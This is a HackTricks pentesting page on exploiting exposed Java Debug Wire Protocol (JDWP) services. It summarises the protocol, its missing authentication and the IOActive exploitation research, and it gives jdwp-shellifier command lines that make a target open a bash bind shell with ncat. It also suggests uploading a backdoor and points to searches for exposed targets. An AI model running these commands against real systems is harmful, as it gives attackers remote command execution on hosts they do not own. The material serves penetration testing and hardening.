---
title: "Pentesting JDWP - Java Debug Wire Protocol"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# Pentesting JDWP - Java Debug Wire Protocol
## Exploiting
JDWP provides debugger-level control and the wire protocol itself has no authentication or encryption. A listening `dt_socket` transport may be bound to any configured address and port; 8000 is only a common convention. The debugger sends the 14-byte ASCII string `JDWP-Handshake`, and a JDWP peer replies with the same string.<sup>[[3]](#references)[[4]](#references)</sup>
Locally, inspect Java command lines for `-agentlib:jdwp`, legacy `-Xrunjdwp`, or `jdwp` rather than the typo `jdwk`. Binding only to loopback or using an SSH tunnel reduces exposure but does not add protocol authentication.
`jdwp-shellifier` is a common exploitation client. The maintained Hugsy fork retains the original IOActive technique and command-line interface:<sup>[[2]](#references)[[9]](#references)</sup>
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploit more **stable**. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
## More details
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.<sup>[[1]](#references)</sup>
1. **JDWP Overview**:
- It is a packet-based binary protocol; most commands use a synchronous request/reply model, while events are asynchronous.<sup>[[3]](#references)[[4]](#references)</sup>
- Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.
2. **JDWP Handshake**:
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
3. **JDWP Communication**:
- Messages have fields such as length, ID, flags, and command set.<sup>[[4]](#references)</sup>
- CommandSet values range from 0x40 to 0x80, representing different actions and events.
4. **Exploitation**:
- Debugger commands can inspect classes, set breakpoints, create values, and invoke methods; exploit tools compose these primitives into command execution.<sup>[[5]](#references)</sup>
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
5. **Real-Life Exploitation**:
- Exposed services and unsafe launch configurations can be found through asset search and code/configuration review.<sup>[[7]](#references)[[8]](#references)</sup>
- The original exploit was tested across several historical JDK versions and operating systems, but command execution still requires a suitable loaded class, breakpoint/event, permissions, and target runtime behavior.<sup>[[6]](#references)</sup>
6. **Security Implications**:
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.
## References
- [1] [Hacking the Java Debug Wire Protocol – or – "How I met your Java debugger"](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)
- [2] [IOActive/jdwp-shellifier GitHub repository](https://github.com/IOActive/jdwp-shellifier)
- [3] [Oracle — Java Platform Debugger Architecture](https://docs.oracle.com/en/java/javase/21/docs/specs/jpda/architecture.html)
- [4] [Oracle — Java Debug Wire Protocol specification](https://docs.oracle.com/en/java/javase/21/docs/specs/jdwp/jdwp-protocol.html)
- [5] [Nmap — `jdwp-exec` NSE script](https://nmap.org/nsedoc/scripts/jdwp-exec.html)
- [6] [Packet Storm — JDWP exploitation paper and PoC](https://packetstormsecurity.com/files/122525/JDWP-exploitation.txt)
- [7] [Shodan search — JDWP-Handshake](https://www.shodan.io/search?query=JDWP-Handshake)
- [8] [GitHub code search — JDWP launch options](https://github.com/search?q=%22-Xrunjdwp%22&type=code)
- [9] [hugsy/jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)